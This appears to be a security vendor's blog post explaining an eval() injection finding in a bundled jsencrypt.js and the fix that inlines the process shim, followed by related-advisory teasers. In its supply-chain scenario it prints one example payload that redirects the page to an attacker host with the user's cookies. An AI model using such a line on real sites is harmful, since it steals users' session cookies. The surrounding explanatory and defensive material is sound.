Back to Blog
critical SEVERITY9 min read

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This vulnerability is a CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, a.k.a. "eval injection") in JavaScript within the jsencrypt.js library. At line 195, a webpack-bundled module used `eval()` to execute a `process` object shim as a string, meaning any attacker who could tamper with that string—via a supply chain attack, CDN compromise, or man-in-the-middle—could run arbitrary JavaScript in users' browsers. The fix inlines the shim code directly, removing the `eval()` call entirely and eliminating the dynamic code execution risk without changing any behavior.

Vulnerability at a Glance

cweCWE-95
fixReplaced the eval() call with the equivalent inline JavaScript code
riskArbitrary JavaScript execution in the user's browser context
languageJavaScript
root causeA webpack-bundled module used eval() to execute a process-object shim string at runtime
vulnerabilityeval() Code Injection (Eval Injection)

The Problem with eval() in a Cryptography Library

The js/lib/jsencrypt.js file is responsible for RSA encryption in the browser—it wraps the popular JSEncrypt library and is a foundational piece of any application that uses it for key exchange or credential protection. That makes a code injection vulnerability inside it especially alarming.

At line 195 of jsencrypt.js, a webpack-bundled module contained this pattern:

eval("// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things. ...");

This single eval() call executes a multi-line JavaScript string that defines a process object shim—a common polyfill for running Node.js-style code in the browser. On its own, the string is benign. But the use of eval() to execute it creates a critical attack surface: any mechanism that can alter the string before it reaches eval() can execute arbitrary JavaScript in the user's browser.


The Vulnerability Explained

What eval() Does—and Why It's Dangerous

JavaScript's eval() function takes a string and executes it as live JavaScript code in the current scope. It was historically used in bundlers, polyfills, and dynamic module loaders, but it is widely considered dangerous because:

  1. It bypasses static analysis. Code inside an eval() string is invisible to most linters, type checkers, and security scanners until runtime.
  2. It creates a universal code execution sink. Any attacker who controls the input string can run any JavaScript—steal cookies, exfiltrate tokens, redirect the user, or install a persistent XSS payload.
  3. It defeats Content Security Policy. Applications that use eval() cannot safely set script-src without unsafe-eval, weakening their entire CSP posture.

The Specific Vulnerable Pattern

The vulnerable code is inside a webpack module wrapper:

/***/ ((module) => {

eval("// shim for using process in browser\nvar process = module.exports = {};\n\n...\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\n...");

/***/ })

The string passed to eval() is a well-known process browser shim (from the npm process package). In its original, unmodified form, it is harmless. The danger lies in how it arrives at runtime.

How an Attacker Could Exploit This

Consider three realistic attack scenarios specific to this file:

Scenario 1 — Supply Chain Compromise
If the npm package or CDN serving jsencrypt.js is compromised (a common supply chain attack vector), an attacker can modify the string argument to eval() before it reaches users. Because the code is already calling eval(), no additional injection step is needed—the attacker simply replaces the benign shim string with malicious JavaScript:

// Attacker-modified version of the eval() argument:
eval("document.location='https://attacker.com/steal?c='+document.cookie");

Every user who loads the page executes this code in their browser, with full access to the page's DOM, cookies, and local storage.

Scenario 2 — Man-in-the-Middle (MitM) on Non-HTTPS Delivery
If the application serves jsencrypt.js over HTTP (or via a CDN without Subresource Integrity), a network-level attacker can intercept and modify the file in transit, replacing the eval() string payload before it reaches the browser.

Scenario 3 — Prototype Pollution or DOM Clobbering
In complex JavaScript environments, prototype pollution vulnerabilities in other libraries could potentially influence the string value before it reaches eval(), turning a separate, lower-severity bug into remote code execution.

Real-World Impact for This Application

Because jsencrypt.js is a cryptography library used for RSA operations, it is likely loaded on pages that handle sensitive operations—login, key exchange, or credential management. Arbitrary code execution in this context means an attacker could:

  • Silently exfiltrate private keys or plaintext credentials before encryption occurs.
  • Intercept form submissions on authentication pages.
  • Persist a malicious script that survives page navigation via localStorage or sessionStorage.

The Fix

The fix is conceptually simple and surgically precise: replace the eval() call with the equivalent inline JavaScript code. Instead of passing the shim as a string to be evaluated at runtime, the code is written directly into the module body so it is parsed and compiled statically, like all other JavaScript in the bundle.

Before (Vulnerable)

/***/ ((module) => {

eval("// shim for using process in browser\nvar process = module.exports = {};\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n    throw new Error('clearTimeout has not been defined');\n}\n(function () {\n    try {\n        if (typeof setTimeout === 'function') {\n            cachedSetTimeout = setTimeout;\n        } else {\n            cachedSetTimeout = defaultSetTimout;\n        }\n    } catch (e) {\n        cachedSetTimeout = defaultSetTimout;\n    }\n    ...\n} ())\n...");

/***/ })

After (Fixed)

/***/ ((module) => {

// shim for using process in browser
var process = module.exports = {};

var cachedSetTimeout;
var cachedClearTimeout;

function defaultSetTimout() {
    throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
    throw new Error('clearTimeout has not been defined');
}
(function () {
    try {
        if (typeof setTimeout === 'function') {
            cachedSetTimeout = setTimeout;
        } else {
            cachedSetTimeout = defaultSetTimout;
        }
    } catch (e) {
        cachedSetTimeout = defaultSetTimout;
    }
    try {
        if (typeof clearTimeout === 'function') {
            cachedClearTimeout = clearTimeout;
        } else {
            cachedClearTimeout = defaultClearTimeout;
        }
    } catch (e) {
        cachedClearTimeout = defaultClearTimeout;
    }
} ())
// ... remainder of shim inlined directly

/***/ })

Why This Fix Works

The behavior is 100% identical—the same process shim runs in both cases. The critical difference is that the inlined version:

  1. Cannot be injected into. There is no string being parsed at runtime. The code is compiled statically by the JavaScript engine at load time.
  2. Is visible to static analysis tools. Linters, SAST scanners, and bundler tree-shaking can now inspect and optimize this code.
  3. Enables strict CSP. With eval() removed, the application can set Content-Security-Policy: script-src 'self' without requiring 'unsafe-eval', hardening the entire application against XSS.
  4. Is scoped to one file. The PR confirms the change is limited to js/lib/jsencrypt.js and the build passes without modification, meaning no behavioral regression was introduced.

Key Takeaways

  • eval() in a cryptography library is a worst-case scenario: jsencrypt.js handles RSA operations on sensitive pages. An eval injection here gives attackers access to keys and credentials before they are ever encrypted.
  • Webpack-bundled eval() strings are a supply chain attack vector: The shim string in this module is benign today, but any mechanism that modifies jsencrypt.js before delivery—CDN compromise, MitM, or dependency tampering—turns this eval() into arbitrary code execution.
  • Inlining the code is always safer than eval()-ing a string: The fix proves that the process shim works perfectly as static inline code. There was never a functional reason to use eval() here.
  • Removing eval() unlocks stricter CSP: This single fix enables the application to drop unsafe-eval from its Content Security Policy, hardening the entire app against XSS.
  • Static analysis can and should catch this: The no-eval ESLint rule and Semgrep patterns for eval() would have flagged line 195 automatically—adding these to CI prevents regressions.

How Orbis AppSec Detected This

  • Source: The tainted string originates inside a webpack module wrapper in js/lib/jsencrypt.js, where a JavaScript string literal containing the process browser shim is passed directly to eval().
  • Sink: eval(...) at js/lib/jsencrypt.js:195—a direct dynamic code execution call with a string argument that could be influenced by supply chain or network-level tampering.
  • Missing control: No static inlining of the shim code; no CSP restriction on unsafe-eval; no Subresource Integrity to detect tampering with the file.
  • CWE: CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").
  • Fix: The eval() call and its string argument were replaced with the equivalent JavaScript code written inline directly into the webpack module body.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The eval() call in jsencrypt.js is a textbook example of how a seemingly low-risk legacy pattern can become a critical vulnerability in a sensitive context. The process shim it executed was harmless—but the mechanism used to execute it was not. By inlining the shim code directly, the fix eliminates the dynamic execution surface entirely, enables stricter Content Security Policy enforcement, and makes the code fully visible to static analysis tools—all without changing a single byte of runtime behavior.

For developers maintaining JavaScript libraries or working with webpack bundles: audit your bundles for eval() calls, especially in production builds. The no-eval ESLint rule costs nothing to enable and can prevent a critical vulnerability from shipping. When you find an eval() call executing a known, static string, the fix is almost always as simple as this one: just write the code inline.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

high

CVE-2026-4800: lodash Template Imports Allow Code Execution

CVE-2026-4800 affects lodash's `_.template()` templating API, where untrusted input reaching the `imports` option can lead to arbitrary code execution. The fix was shipped as a dependency upgrade from lodash 4.17.21 to 4.18.1 in the project's lockfile, though the PR itself notes it was never verified against the actual code paths in this repository.

critical

proxy-addr 2.0.7 IP Spoofing: CVE-2026-90711 Trust Bypass

A critical vulnerability in proxy-addr 2.0.7 allowed attackers to spoof client IP addresses by manipulating X-Forwarded-For headers when the trust chain evaluation contained specific misconfigurations. The fix in version 2.0.8 hardens the trust evaluation logic to prevent IP address falsification in Express.js applications relying on this common middleware dependency.

high

TweenMax `_applyCycle` Prototype Pollution via vars.cycle Keys

A bundled copy of the TweenMax animation library copied attacker-influenceable `vars.cycle` property names straight onto a tween configuration object using an unguarded `for...in` loop, so a key named `__proto__`, `constructor`, or `prototype` was written through to the object's prototype chain. The fix adds an explicit key denylist to both copies of the `_applyCycle` helper so those three names are skipped during the merge. No CVE or GHSA is assigned; the issue is tracked as CWE-1321 (Improperl

high

picomatch 2.3.1 ReDoS: Extglob Pattern Catastrophic Backtracking

picomatch versions below 2.3.2, 3.0.2, or 4.0.4 contain a Regular Expression Denial of Service vulnerability in extglob pattern parsing. An attacker can cause catastrophic backtracking with patterns containing nested alternations and quantifiers, freezing any Node.js process that evaluates untrusted glob expressions.

critical

pet-window.js Dynamic Code Evaluation: CWE-94 Hardening via Number

The pet-window module constructed dynamic JavaScript by embedding raw configuration values into code strings. An attacker with local access could inject arbitrary JavaScript by modifying stored configuration. The fix replaces string interpolation with explicit Number() coercion and NaN validation for all numeric configuration parameters.

high

sanitizeUnicodeInput(): Fullwidth U+ Bypasses Codepoint Validation

The `sanitizeUnicodeInput()` helper used by the project character-range settings screen rewrote `U+` prefixes to `0x` and called `parseInt()`, but never normalized its argument first. Compatibility-equivalent forms such as fullwidth `U+`, superscript digits, or mathematical alphanumerics never matched the `/U\+/gi` regex, fell through to the `else return inputString` branch, and were handed back to callers verbatim as "sanitized" values. The fix inserts a `String.prototype.normalize('NFKC')` pas